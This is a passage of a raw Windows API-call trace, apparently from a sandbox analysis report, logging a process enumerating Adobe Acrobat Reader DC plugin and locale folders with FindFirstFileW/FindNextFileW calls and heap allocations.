ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0249.856] GetProcessHeap () returned 0xc10000 [0249.856] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0249.857] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.857] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.857] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0249.857] GetProcessHeap () returned 0xc10000 [0249.857] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.857] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0249.857] GetProcessHeap () returned 0xc10000 [0249.857] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.858] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.858] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.858] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.858] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.859] GetProcessHeap () returned 0xc10000 [0249.859] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.859] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0249.859] GetProcessHeap () returned 0xc10000 [0249.859] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.859] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0249.860] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.860] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.860] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.860] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0249.860] GetProcessHeap () returned 0xc10000 [0249.860] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.860] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.860] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0249.860] GetProcessHeap () returned 0xc10000 [0249.860] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.860] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0249.861] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.861] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.861] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.862] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0249.862] GetProcessHeap () returned 0xc10000 [0249.862] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.862] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0249.862] GetProcessHeap () returned 0xc10000 [0249.862] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.863] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.863] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.863] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.863] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.863] GetProcessHeap () returned 0xc10000 [0249.863] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.864] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0249.864] GetProcessHeap () returned 0xc10000 [0249.864] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0249.864] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.864] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.864] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.864] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0249.865] GetProcessHeap () returned 0xc10000 [0249.865] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.865] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0249.865] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0249.865] GetProcessHeap () returned 0xc10000 [0249.865] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0249.865] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0249.865] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbac, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0249.865] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xbac, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0249.865] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0249.866] GetProcessHeap () returned 0xc10000 [0249.866] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0249.867] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0249.867] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0249.867] GetProcessHeap () returned 0xc10000 [0249.867] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0249.868] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1 [0249.868] GetProcessHeap () returned 0xc10000 [0249.868] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0249.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0250.099] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.099] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0250.099] GetProcessHeap () returned 0xc10000 [0250.099] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0250.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files-select\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, 